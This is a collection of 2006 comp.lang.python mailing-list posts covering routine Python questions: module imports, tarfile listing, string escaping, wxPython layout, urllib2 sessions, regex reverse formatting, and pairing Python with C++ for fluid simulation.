From: claus.tondering at gmail.com (Claus Tondering)
Date: 10 Oct 2006 07:24:23 -0700
Subject: Using the imp module
References: <1160487276.256447.187000@i42g2000cwa.googlegroups.com>
	<mailman.212.1160488524.11739.python-list@python.org>
	<1160490031.724373.8230@k70g2000cwa.googlegroups.com>
Message-ID: <1160490263.328413.142670@m7g2000cwm.googlegroups.com>

I wrote:
> Fredrik Lundh wrote:
> >     globals().update(vars(__import__("xyzzy")))
>
> Thank you, I can use that in some cases. However, I need to import a
> file that is not in the load path. The imp module allows me to specify
> a path name; but as far as I know, the __import__ function does not
> allow me to do that.

Oops, I forgot to add that I realize that the update(vars(...)) feature
works well with the imp module too.
 
--
Claus Tondering



From rtw at freenet.co.uk  Tue Oct 10 08:42:00 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Tue, 10 Oct 2006 07:42:00 -0500
Subject: Using Gnutar to remove a list of files
References: <1160483644.216310.249760@m73g2000cwd.googlegroups.com>
Message-ID: <Xns98588B28747B0rtwfreenetREMOVEcouk@216.196.109.145>

 wrote in news:1160483644.216310.249760 at m73g2000cwd.googlegroups.com in 
comp.lang.python:

> Hi folks, I've got a question for yas.  I'm trying to write code that
> will open up a gzipped tar file using gnutar, and copy the list of
> files(including their directories) to a list variable in python.  From
> there, I want to go through the list and delete those files from my
> system.  That part is easy, but what I'm stuck on is getting the list
> of files in an archive into a list variable.  If I use the -t parameter
> in gnutar, it prints a list of the files in a seperate cmd screen, but
> only returns 0.  Is there any way to make it return a list, or to copy
> the information over?  Thanks in advance!
> 

Perhaps this will help:

http://docs.python.org/lib/tar-examples.html

Rob.
-- 
http://www.victim-prime.dsl.pipex.com/


From ak at silmarill.org  Sat Oct  7 15:34:06 2006
From: ak at silmarill.org (Rainy)
Date: 7 Oct 2006 12:34:06 -0700
Subject: Help with first script please. files, directories, autocomplete
In-Reply-To: <1160236545.779687.136980@c28g2000cwb.googlegroups.com>
References: <1160236545.779687.136980@c28g2000cwb.googlegroups.com>
Message-ID: <1160249646.129746.213600@b28g2000cwb.googlegroups.com>


simonharrison at fastmail.co.uk wrote:
> Hello everyone. Hopefully someone can point me in the right direction
> here. I'm wanting to write a script to open microsoft word and adobe
> pdf documents . Here is a little background:
>
> At the company where I work (an inspection firm) all reports of
> inspections are saved as word files. A particular file may contain many
> reports named like this; 12345A-F.doc. This file contains six reports.
> Most inspections also require a technique which is saved as a pdf. The
> pdf filename is the identification of the part being inspected.
>
> My command line script will work like this: The user is asked whether
> they are searching for a technique or a report
>
> > Find (c)ertificate or (t)echnique
>
> if they press 'c' they are then asked to enter certificate number.
> Using the code below, no enter is needed
>
> import msvcrt
> print "Find (t)echnique or (c)ertificate: "
> ch = msvcrt.getch()
> if ch == 't':
>   print "Enter technique number: "
> elif ch == 'c':
>   print "Enter certificate number: "
> else:
>   print 'command not understood.'
> raw_input()
>
> Obviously I will need to wrap this into a function. What I need to know
> how to do is save the two directories where the files are stored. if
> 'c' is selected I want to use that as the directory to search. same for
> techniques. What is the best way to do this? I would also like to have
> the text autocomplete after maybe three characters, is this possible?
> Am I correct in thinking all files would have to be stored in a list
> for this to work?
>
> As you can tell I am new to programming. I don't want someone to write
> this script for me, just give me some pointers to get going (maybe a
> tutorial on the net). Unless someone really wants to write it of
> course!
>
> Many thanks and sorry for the long post.

You can store the dir name as a variable:

>>> d = 'c:\home'
>>> from os import *
>>> listdir(d)
['.Config.pm.swp', '.run.bat.swp', 'AHK scripts', 'Archive',
'Config.pm', 'Docs', 'Images', 'Links', 'Music', 'Projects', 'Python
programs', 'run.bat', 'Share', 'Torrent']

As you see files are already in a list if you use listdir function.

You can autocomplete by getting each character, running through the
list and comparing using startswith() function:

>>> l = listdir(d)
>>> m = [m for m in l if m.startswith('A')]
>>> m
['AHK scripts', 'Archive']

Then you can check how many matches you got. If you get one, print it
and ask for Enter to finalize the choice.

You might want to read tutorial on python.org. You also might want to
buy a python book, or read any number of other tutorials online if you
don't want to spend money right now. Your questions are kind of basic,
I don't want to discourage you but as you go along you will run into
many other things and it's not practical to ask every time and wait for
the answer (although people here are glad to help). 

 -Rainy



From fredrik at pythonware.com  Fri Oct 27 01:46:36 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 27 Oct 2006 07:46:36 +0200
Subject: doesnt seems to work can any help be provided
In-Reply-To: <871wouhenw.fsf@benfinney.id.au>
References: <1161868888.823864.66700@f16g2000cwb.googlegroups.com>	<4540bbd4$0$9134$426a74cc@news.free.fr>
	<871wouhenw.fsf@benfinney.id.au>
Message-ID: <ehs6fs$gji$1@sea.gmane.org>

Ben Finney wrote:

> Apparently that learning also didn't include the prohibitions against
> colluding with others. Nevertheless, I'll bet they are still present.

    http://www.csu.edu.au/acad_sec/manuals/gcontm.htm

    Part G6

    Collusion

    A student colludes when he or she works without permission with
    another person or persons to produce work which is then presented as
    work completed independently by the student.

    Collusion includes, but is not limited to:

    - writing the whole or part of an assignment with another person;

    - using the notes of another person to prepare an assignment;

    - using for an assignment the resource materials of another person
      that have been annotated or parts of the text highlighted or
      underlined by that person;

    - allowing another student, who has to submit an assignment on the
      same topic, access to one's own assignment under conditions which
      would give that other student an advantage in submitting his or her
      assignment

</F>



From Jeff.Demel at JavelinDirect.com  Thu Oct 19 12:35:53 2006
From: Jeff.Demel at JavelinDirect.com (Demel, Jeff)
Date: Thu, 19 Oct 2006 11:35:53 -0500
Subject: invert or reverse a string... warning this is a rant
Message-ID: <136ED738BD4F1545B97E4AC06FF6370734BEEA@DMSP-MSG-EVS01.mail.pvt>

John Salerno wrote:
>'m not steeped enough in daily programming to argue that it sn't 
>necessary, but my question is why do you need to reverse strings? Is it

>something that happens often enough to warrant a method for it?

I've been programming professionally for over 10 years, and have never
once needed to reverse a string.  Maybe it's a lack of imagination on my
part, but I can't think of a single instance this might be necessary.

However, if I did ever run across this need while using Python, it would
seem awkward to use [::-1], just from a clarity standpoint.  A
string.reverse() method would be a decent thing to have.

Just my $.02.

-Jeff

P.S.  How about a string.shuffle() method that splits the string in half
into two new strings str1 and str2, and then recompiles the string by
alternating one character from each str1 and str2 as it goes?  Like
shuffling cards.  ;)
This email is intended only for the individual or entity to which it is addressed.  This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system.  Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful.


From kay.schluehr at gmx.net  Sun Oct  1 05:20:15 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 1 Oct 2006 02:20:15 -0700
Subject: Escapeism
In-Reply-To: <mailman.1028.1159689710.10491.python-list@python.org>
References: <1159607884.182985.63200@m7g2000cwm.googlegroups.com>
	<slrnehsel7.o25.sybrenUSE@schuimige.stuvel.eu>
	<1159635727.840033.169540@m73g2000cwd.googlegroups.com>
	<mailman.1028.1159689710.10491.python-list@python.org>
Message-ID: <1159694415.885862.81850@c28g2000cwb.googlegroups.com>

Frederic Rentsch wrote:
> Kay Schluehr wrote:
> > Sybren Stuvel wrote:
> >
> >> Kay Schluehr enlightened us with:
> >>
> >>> Usually I struggle a short while with \ and either succeed or give up.
> >>> Today I'm in a different mood and don't give up. So here is my
> >>> question:
> >>>
> >>> You have an unknown character string c such as '\n' , '\a' , '\7' etc.
> >>>
> >>> How do you echo them using print?
> >>>
> >>> print_str( c ) prints representation '\a' to stdout for c = '\a'
> >>> print_str( c ) prints representation '\n' for c = '\n'
> >>> ...
> >>>
> >>> It is required that not a beep or a linebreak shall be printed.
> >>>
> >> try "print repr(c)".
> >>
> >
> > This yields the hexadecimal representation of the ASCII character and
> > does not simply echo the keystrokes '\' and 'a' for '\a' ignoring the
> > escape semantics. One way to achieve this naturally is by prefixing
> > '\a' with r where r'\a' indicates a "raw" string. But unfortunately
> > "rawrification" applies only to string literals and not to string
> > objects ( such as c ). I consider creating a table consisting of pairs
> > {'\0': r'\0','\1': r'\1',...}  i.e. a handcrafted mapping but maybe
> > I've overlooked some simple function or trick that does the same for
> > me.
> >
> > Kay
> >
> >
> Kay,
>
> This is perhaps yet another case for SE? I don't really know, because I
> don't quite get what you're after. See for yourself:
>
>  >>> import SE
>  >>> Printabilizer = SE.SE ( '''
>    (1)=\\1   # All 256 octets can be written as parenthesized ascii
>    (2)=\\2
>    "\a=\\a"  # (7)=\\a"
>    "\n=\\n"  # or (10)=\\n  or (10)=LF or whatever
>    "\r=\\r"  # (13)=CR
>    "\f=\\f"
>    "\v=\\v"
>    # Add whatever other ones you like
>    #    and translate them to anything you like.
>  ''')
>
>  >>> print Printabilizer ('abd\aefg\r\nhijk\vlmnop\1\2.')
> abd\aefg\r\nhijk\vlmno\1\2.
>
>
> If you think this may help, you'll find SE here:
> http://cheeseshop.python.org/pypi/SE/2.2%20beta
>
>
> Regards
>
> Frederic

This looks quite good. "rawrification" or "printabalization" that's
exactly what I was looking for and I thought this problem would be so
common that someone has done an implementation already. Thanks,
Frederik!

Kay



From codecraig at gmail.com  Mon Oct 30 16:02:41 2006
From: codecraig at gmail.com (abcd)
Date: 30 Oct 2006 13:02:41 -0800
Subject: wxPython TextCtrl - weird scrolling behavior
In-Reply-To: <2yt1h.206$1n3.4433@news.tufts.edu>
References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com>
	<PJs1h.204$1n3.4348@news.tufts.edu>
	<1162238656.661097.75180@f16g2000cwb.googlegroups.com>
	<N6t1h.205$1n3.4487@news.tufts.edu>
	<1162240822.260735.316040@e64g2000cwd.googlegroups.com>
	<2yt1h.206$1n3.4433@news.tufts.edu>
Message-ID: <1162242161.009063.65140@e64g2000cwd.googlegroups.com>

On Oct 30, 3:47 pm, John Salerno <johnj... at NOSPAMgmail.com> wrote:
>I noticed that one object you refer to is
> self.textPane, is that supposed to be self.textPanel?

no, self.textPane is the actual wx.TextCtrl.

I used a GUI Builder to the layout stuff...perhaps that's my problem :)

is there a good site to refer to for how to use sizers?  i am
essentially creating a chat window (textPane is the history of the
chat, then a textCtrl below it for typing a new message and a button
next to the input field and buttons below the input field).



From MonkeeSage at gmail.com  Thu Oct  5 08:38:08 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 5 Oct 2006 05:38:08 -0700
Subject: Subclassing built-in classes
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
	<mailman.1349.1160050814.10491.python-list@python.org>
Message-ID: <1160051888.460310.79500@i3g2000cwc.googlegroups.com>

Steve Holden wrote:
> Unfortunately the literals are interpreted during bytecode generation,
> before the compiled program is available, and your modifications to
> __builtns__ haven't been made, so the answer is "no", I'm afraid.

Ah! That makes sense. I guess the only way to do it would be to add an
extra bit to every object to indicate whether it was constructed
literally and then re-initialize the object after compilation if that
bit is set. For some reason I just don't think that's gonna happen. ;)

Thanks for taking the time to explain.

Regards,
Jordan



From paul at boddie.org.uk  Fri Oct 13 05:53:59 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 13 Oct 2006 02:53:59 -0700
Subject: Python component model
In-Reply-To: <mailman.412.1160707237.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
	<12itd1as7dg9jdd@corp.supernews.com>
	<1160689455.771396.178430@h48g2000cwc.googlegroups.com>
	<mailman.412.1160707237.11739.python-list@python.org>
Message-ID: <1160733239.438760.278670@i3g2000cwc.googlegroups.com>

Steve Holden wrote:
> Paul Boddie wrote:
>
> > I'm not at the cutting edge here: 20j and 20k are the commands (replace
> > 20 with another suitable amount) which help me jump around in my editor
> > of choice. The other commands which may be more effective just aren't
> > in my "working set".
> >
> You *might* find CTRL/U and CTRL/D helpful ...

Sure, even Page Up and Page Down work on decent distributions. But
there's a huge collection of other commands waiting to be discovered
too. I may never know them all, however. ;-)

Paul



From johnjsal at NOSPAMgmail.com  Fri Oct 20 15:16:52 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 20 Oct 2006 19:16:52 GMT
Subject: proper format for this database table
In-Reply-To: <1161367645.430191.289290@k70g2000cwa.googlegroups.com>
References: <qWQZg.119$1n3.3371@news.tufts.edu>
	<mailman.786.1161289572.11739.python-list@python.org>
	<1161293831.141761.284230@e3g2000cwe.googlegroups.com>
	<4t5_g.121$1n3.3067@news.tufts.edu>
	<mailman.851.1161358338.11739.python-list@python.org>
	<qD7_g.124$1n3.3420@news.tufts.edu>
	<1161367645.430191.289290@k70g2000cwa.googlegroups.com>
Message-ID: <Eg9_g.130$1n3.3113@news.tufts.edu>

mensanator at aol.com wrote:

> [Eid] [Sid] [university] [yearStart] [yearEnd] [degreeEarned]
> 5      1     U of I       1971        1975      BS
> 6      1     U of I       1975        1976      MS
> 7      1     U of I       1976        1977      PhD
> 
> where [Eid] is the primary key of the Education table and
> [Sid] is the foreign key from the Student table so that the
> single student record (1) links to three education records
> (5,6,7).
> 

Hmmm. I think I'm lost. My table will have a key that represents the 
persons ID, in my case it would be salerjo01. This will be what ties 
this table to that person. Can I repeat this key multiple times in the 
Education table?


From tgrav at mac.com  Thu Oct 19 12:44:49 2006
From: tgrav at mac.com (Tommy Grav)
Date: Thu, 19 Oct 2006 12:44:49 -0400
Subject: Calling functions
In-Reply-To: <4537A80C.2060203@v.igoro.us>
References: <B9D4452D-8C7C-49FC-9184-D210AA9316C8@mac.com>
	<4537A80C.2060203@v.igoro.us>
Message-ID: <6DDCE0BD-5F1F-407D-9F32-BF3B65BB5EA4@mac.com>

That does work yes :) I just noticed that the script had another  
little error in it,
making me believe that the function call was crooking.

Cheers
    Tommy

On Oct 19, 2006, at 12:30 PM, Dustin J. Mitchell wrote:

> Tommy Grav wrote:
>> I have a small program that goes something like this
>>
>> def funcA() : pass
>> def funcB() : pass
>> def funcC() : pass
>>
>> def determine(f):
>> t = f()
>> return t
>>
>> What I would like to do is be able to
>>
>> n = determine(funcA)
>> m = determine(funcB)
>>
>> But I can't really figure out how to do this (I think it is
>> possible :)
>
> Except for the spaces after the def's at the top (are those  
> legal?), it should
> work as written.
>
> determine(funcA) results in 'f' being bound to 'funcA'; then 't = f 
> ()' results
> in 'funcA' being called, and its resulting being bound to 't';  
> 'determine'
> returns that result, and it's bound to 'n'.  Is that not what you  
> wanted?
>
> Dustin
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Cheers
Tommy


tgrav at mac.com
http://homepage.mac.com/tgrav/

"Any intelligent fool can make things bigger,
more complex, and more violent. It takes a
touch of genius -- and a lot of courage --
to move in the opposite direction"
                          -- Albert Einstein


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From gagsl-py at yahoo.com.ar  Thu Oct  5 00:55:29 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 05 Oct 2006 01:55:29 -0300
Subject: Urlnames in urllib2
In-Reply-To: <3ei8i2hosr67gdsmv75llvvr8ot920piqq@4ax.com>
References: <3ei8i2hosr67gdsmv75llvvr8ot920piqq@4ax.com>
Message-ID: <7.0.1.0.0.20061005010408.054e4c20@yahoo.com.ar>

At Wednesday 4/10/2006 21:03, goyatlah wrote:

>I'm trying to figure out how to get the exact opened url after a
>urlopen in urllib2.
>Say you have a link : http://myhost/mypath : what do I get back,
>- the file mypath on myhost
>- the file index.html on myhost/mypath,
>- or maybe something else.

You get whatever the webserver chooses to serve at that URI.
Usually:
- if mypath is a directory (or assimilable to a directory), you get a 
redirect to mypath/ (else relative references won't work)
- for mypath/ you get the default document for that directory, maybe 
index.html or index.php or default.html or ...
- for mypath/myname you should get the best choice of documents 
regarding the Accept, Accept-Language, Accept-Encoding (but few 
people/servers use them completely).

>Snd what about the following: http;//myhost/index.htm where index.htm
>is actually a directory.

Probably you would get a redirect to http://myhost/index.htm/

>With  urllib2.geturl() I can find out if the name is changed to
>mypath/ or index.htm/ but it seems that is the only thing I can find
>out.

This is the

HTTPRedirectHandler doing its work. You could look at the 
Content-Location header, but I doubt you could get much more info 
about the actual object retrieved - there are proxies, rewrite rules, 
virtual hosts...



Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From paul at boddie.org.uk  Mon Oct 23 08:03:19 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 23 Oct 2006 05:03:19 -0700
Subject: Is x.f() <==>MyClass.f(x) a kind of algebraic structure?
References: <1161424930.151657.18530@m7g2000cwm.googlegroups.com>
Message-ID: <1161604999.598101.212240@f16g2000cwb.googlegroups.com>

steve wrote:
> I thought that when read Guido van Rossum' Python tutorial.What can we
> think that?

That x.f() is equivalent to MyClass.f(x)? (Consider restating questions
in the body of messages to maintain context, by the way.)

Why not try it out?

>>> class MyClass:
...     def f(self):
...             print "I am", self
...
>>> x = MyClass()
>>> x.f()
I am <__main__.MyClass instance at 0x2a955d5b00>
>>> MyClass.f(x)
I am <__main__.MyClass instance at 0x2a955d5b00>

Paul



From zhaodapu at gmail.com  Tue Oct 10 10:54:43 2006
From: zhaodapu at gmail.com (zdp)
Date: 10 Oct 2006 07:54:43 -0700
Subject: How to share session with IE
In-Reply-To: <1160480177.704013.37770@k70g2000cwa.googlegroups.com>
References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com>
	<1160480177.704013.37770@k70g2000cwa.googlegroups.com>
Message-ID: <1160492082.805072.181770@i42g2000cwa.googlegroups.com>

It's exactly what I want. I'll try. Thanks!

Bernard wrote:
> Hello Dapu,
>
> You can do the same thing as IE on your forum using urllib2 and
> cookielib. In short you need to code a small webcrawler. I can give you
> my browser module if necessary.
> You might not have the time to fiddle with the coding part or my
> browser module so you can also use this particularly useful module :
> http://wwwsearch.sourceforge.net/mechanize/
> The documentation is pretty clear for an initiated python programmer.
> If it's not your case, I'd recommend to read some ebooks on the python
> language first to get use to it.
>
> Bernard
>
>
>
>
> zdp wrote:
> > Hello!
> >
> > I need to process some webpages of a forum which is powered by discuz!.
> > When I login, there are some options about how long to keep the
> > cookies: forever, month, week, et al. If I choose forever,  I don't
> > need to login each time, and When I open the internet explorer I can
> > access any pages directly. Some urls of the pages like:
> >
> >     http://www.somesite.com/bbs/viewthread.php?tid=12345&extra=page%3D1
> >
> > However, now I need to process some pages by a python program. When I
> > use urllib.urlopen(theurl), I can only get a page which told me I need
> > login. I think It's reasonable, becuase I wasn't in a loggined session
> > which as IE did.
> >
> > So how can I do my job? I want to get the right webpage by the url. I
> > have search answers from the groups but didn't get clear answer. Should
> > I use win32com or urllib? Any reply or information is appreciate. Hope
> > I put it clear.
> > 
> > Dapu



From hg at nospam.com  Thu Oct 12 20:50:44 2006
From: hg at nospam.com (hg)
Date: Thu, 12 Oct 2006 19:50:44 -0500
Subject: Starting out.
In-Reply-To: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
Message-ID: <9yBXg.27276$Go3.18515@dukeread05>

Ahmer wrote:
> Hi all!
> 
> I am a 15 year old High School Sophomore. I would like to start
> programming in Python. In school, we are learning Java (5) and I like
> to use the Eclipse IDE, I also am learning PHP as well.
> 
> What are some ways to get started (books, sites, etc.)? I am usually on
> linux, but I have a windows box and am planning on getting a mac.
> 
Eclipse does take time to get used to ... not sure you want to put this
between you and your learning Python ... you might want to assess a two
step process.

This is a very good introduction to python
(http://www.diveintopython.org/) ... and then there are a billion of
good books.

hg




From python.list at tim.thechases.com  Sat Oct 14 09:20:33 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Sat, 14 Oct 2006 08:20:33 -0500
Subject: Reverse string-formatting (maybe?)
In-Reply-To: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
Message-ID: <4530E421.3050301@tim.thechases.com>

>>>> template = 'I am %s, and he %s last %s.'
>>>> values = ('coding', "coded', 'week')
>>>> formatted = template % values
>>>> formatted
> 'I am coding, and he coded last week.'
>>>> deformat(formatted, template)
> ('coding', 'coded', 'week')
> 
> expanded (for better visual):
>>>> deformat('I am coding, and he coded last week.', 'I am %s, and he %s last %s.')
> ('coding', 'coded', 'week')
> 
> It would return a tuple of strings, since it has no way of telling what
> the original type of each item was.
> 
> Any input? I've looked through the documentation of the string module
> and re module, did a search of the documentation and a search of this
> group, and come up empty-handed.


Yes, in the trivial case you provide, it can be done fairly 
easily using the re module:

 >>> import re
 >>> template = 'I am %s, and he %s last %s.'
 >>> values = ('coding', 'coded', 'week')
 >>> formatted = template % values
 >>> unformat_re = re.escape(template).replace('%s', '(.*)')
 >>> # unformat_re = unformat_re.replace('%i', '([0-9]+)')
 >>> r = re.compile(unformat_re)
 >>> r.match(formatted).groups()
('coding', 'coded', 'week')

Thing's get crazier when you have things like

 >>> answer ='format values into a string'
 >>> template = 'The formatting string %%s is used to %s' % answer

or

 >>> template = 'The value is %0*.*f'
 >>> values = (10, 4, 3.14159)
 >>> formatted = template % values
 >>> formated
'The value is 00003.1415'

or

 >>> template = 'Dear %(name)s, Thank you for the %(gift)s.  It 
was very %(adj).' % {'name': 'Grandma', 'gift': 'sweater', 'adj': 
'nice'}

Additionally, things go a little tangled when the replacement 
values duplicate matters in the template. Should the unformatting 
of "I am tired, and he didn't last last All Saint's Day" be 
parsed as ('tired', "didn't last", "All Saint's Day") or 
('tired', "didn't", "last All Saint's Day").  The /intent/ is 
likely the former, but getting a computer to understand intent is 
a non-trivial task ;)

Just a few early-morning thoughts...

-tkc








From MonkeeSage at gmail.com  Tue Oct  3 05:46:47 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 3 Oct 2006 02:46:47 -0700
Subject: Howto pass Array/Hash into Function
References: <mailman.1148.1159867444.10491.python-list@python.org>
	<1159867755.636060.48790@m7g2000cwm.googlegroups.com>
	<mailman.1149.1159868507.10491.python-list@python.org>
Message-ID: <1159868807.385239.307390@h48g2000cwc.googlegroups.com>

Wildemar Wildenburger wrote:
> MonkeeSage wrote:
> > Wijaya Edward wrote:
> >> I wonder how can that be done in Python.
> >
> > def myfunc(plain_var, hash_ref, arref):
> >   # Do sth with those variables
> >   return
>
> At the risk of being a jerk (sorry, I'm really just curious):
> Why isn't that obvious?
>
> wildemar (sorry)

I wondered that too and wasn't even going to answer, but then I thought
mabye the question was meant to be more general, like "what is the
syntax for passing objects to functions in python?"

Regards,
Jordan



From pavlovevidence at gmail.com  Wed Oct 18 02:37:10 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 17 Oct 2006 23:37:10 -0700
Subject: Python wrapper for C++ core
References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>
Message-ID: <1161153430.166027.301810@m73g2000cwd.googlegroups.com>

holly.woodland at gmail.com wrote:
> Hi All
>
> Apologies in advance for the pretty basic question - but I can't seem
> to find an answer anywhere else.
>
> I am developing a fluid sim in C++ and have heard that many people use
> Python in conjunction with C++ for this sort of thing (especially in
> games dev).
>
> What I can't understand why you would want to do this. Obviously the
> core would be written in C++ (for my purposes anyway) so what parts
> would be written in Python? What is the benefit, in this situation, of
> using Python instead of C++?

I see "fluid sim" and "games dev" in the same post, which kind of makes
me scratch my head.  What would you need fluid sim for in a game?
Maybe it's a flight sim; I suppose now computers are fast enough to
attempt a low-fidelity CFD (computational fluid dynamics) in real time.
 (Or maybe you mean something different by fluid sim, like a puzzle
game involving valves or something.)

Anyways, combining Python with C is useful for all kinds of
applications, not just games and simulations, because Python has
different strengths than C.  C is faster and can inteface easily with
hardware and the OS; Python is better at pretty much everything else.
It takes care of a lot of stuff you'd have to do yourself in C.

Speaking as someone who studied a lot of CFD in college, I think Python
in particularly is very useful for extreme numerical work.  (If that's
not what you're talking about, never mind the rest of the post.)

The people who do fluid simulations are engineers (classical sense),
not programmers.  These people do NOT like to program.  They like to
fiddle with arrays and do arithmetic; stuff like memory management,
input/output, and other computer-science-ish tasks are a pain in the
neck.  Time spent doing that kind of stuff is time not spent doing
useful things like hand-optimizing the hell out of the numerical code.

Python (even with Numeric) is simply too slow for high-end CFD
applications, so the numerical part is almost always written in C or
Fortran.  But C and Fortran are terrible languages to do things like
memory management and I/O in.  Python, OTOH, is terrific for these
things.  It's a great language for people who don't like to program.
Comparable languages such as Ruby are also good for I/O and stuff, but
I think Python's the best of all for numerical work:

1. Large support community
2. Large standard library and lots of third-party packages out there,
addresses all kinds of needs
3. A very spiffy package, pyfort, to interface with Fortran, which can
also works for C functions that act like Fortran (which is often the
case in a numerical application).  Relatively straightforward general
interface to C if pyfort won't do.
4. numpy, a very good, well-maintained package which allows Python
programs to operate on arrays directly (useful for tasks that don't
need to be hyper-optimized).
5. Superficially similar to C and Fortran, which is no small thing for
engineers


Carl



From ewijaya at i2r.a-star.edu.sg  Fri Oct 27 01:09:36 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Fri, 27 Oct 2006 13:09:36 +0800
Subject: How to Split Chinese Character with backslash representation?
References: <mailman.1319.1161920633.11739.python-list@python.org>
	<ehs0de$pk6$1@enyo.uwa.edu.au>
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net>


Thanks but my intention is to strictly use regex.
Since there are separator I need to include as delimiter
Especially for the case like this:


>>> str = '\xc5\xeb\xc7\xd5\xbc--FOO--BAR'
>>> field = list(str)
>>> print field
['\xc5', '\xeb', '\xc7', '\xd5', '\xbc', '-', '-', 'F', 'O', 'O', '-', '-', 'B', 'A', 'R']


What we want as the output is this instead:
['\xc5', '\xeb', '\xc7', '\xd5', '\xbc','FOO','BAR]


What's the best way to do it?


-- Edward WIJAYA
SINGAPORE

________________________________

From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Cameron Walsh
Sent: Fri 10/27/2006 12:03 PM
To: python-list at python.org
Subject: Re: How to Split Chinese Character with backslash representation?



Wijaya Edward wrote:
> Hi all,
>
> I was trying to split a string that
> represent chinese characters below:
>

>

>>>> str = '\xc5\xeb\xc7\xd5\xbc'
>>>> print str2,
> ???
>>>> fields2 = split(r'\\',str)
>>>> print fields2,
> ['\xc5\xeb\xc7\xd5\xbc']
>
> But why the split function here doesn't seem
> to do the job for obtaining the desired result:
>

> ['\xc5','\xeb','\xc7','\xd5','\xbc']
>


Depends on what you want to do with them:

 >>> string = '\xc5\xeb\xc7\xd5\xbc'
 >>> for char in string:
         print char


?
?
?
?
?
 >>> list_of_characters = list(string)
 >>> list_of_characters
['\xc5', '\xeb', '\xc7', '\xd5', '\xbc']
 >>> for char in string:
         char


'\xc5'
'\xeb'
'\xc7'
'\xd5'
'\xbc'
 >>> for char in list_of_characters:
         print char


?
?
?
?
?
 >>> string[3]
'\xd5'
 >>> string[1:3]
'\xeb\xc7'

Basically, you characters are already separated into a list of
characters, that's effectively what a string is (but with a few more
methods applicable only to lists of characters, not to other lists).
--
http://mail.python.org/mailman/listinfo/python-list



------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From martin at v.loewis.de  Tue Oct 10 13:30:10 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 10 Oct 2006 19:30:10 +0200
Subject: does raw_input() return unicode?
In-Reply-To: <mailman.178.1160467772.11739.python-list@python.org>
References: <12iln7en9ipit77@corp.supernews.com>	<452b5190$0$29833$9b622d9e@news.freenet.de>
	<mailman.178.1160467772.11739.python-list@python.org>
Message-ID: <452BD8A2.4060708@v.loewis.de>

Theerasak Photha schrieb:
>> At the moment, it only returns unicode objects when invoked
>> in the IDLE shell, and only if the character entered cannot
>> be represented in the locale's charset.
> 
> Why only IDLE? Does urwid or another console UI toolkit avoid this somehow?

I admit I don't know what urwid is; from a shallow description I find
("a console user interface library") I can't see the connection to
raw_input(). How would raw_input() ever use urwid?

Regards,
Martin


From tdelaney at avaya.com  Tue Oct 24 17:31:55 2006
From: tdelaney at avaya.com (Delaney, Timothy (Tim))
Date: Wed, 25 Oct 2006 07:31:55 +1000
Subject: Sorting by item_in_another_list
Message-ID: <2773CAC687FD5F4689F526998C7E4E5FF1EAEF@au3010avexu1.global.avaya.com>

Carsten Haese wrote:

> The current documentation states that "Starting with Python 2.3, the
> sort() method is guaranteed to be stable." However, it's not clear
> whether this specifies language behavior that all implementations must
> adhere to, or whether it simply documents an implementation detail of
> CPython.

This is a requirement for all implementations claiming to be 2.3 or
higher.

The "key" parameter was only introduced in 2.4 ...

Tim Delaney


From horpner at yahoo.com  Fri Oct 20 17:17:48 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Fri, 20 Oct 2006 21:17:48 GMT
Subject: doctest and exposing internals.
References: <slrneji8ur.1ps.horpner@FIAD06.norwich.edu>
	<mailman.870.1161375851.11739.python-list@python.org>
Message-ID: <02b_g.7604$5i7.7324@newsreading01.news.tds.net>

On 2006-10-20, Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
> At Friday 20/10/2006 16:29, Neil Cerutti wrote:
>>The example of correct usage it what's wrong with the
>>docstring.
>>
>>There's no interface for checking if an event is queued in Glk,
>>so I resorted to exposing the internal state main.char_request
>>in the doc string. What are the alternatives?
>
> - what you have done

I haven't fully absorbed soapbox section of the doctest manual;
it cautions against doing what I'm doing, i.e., trying to put
complete test coverage in my docstrings. 

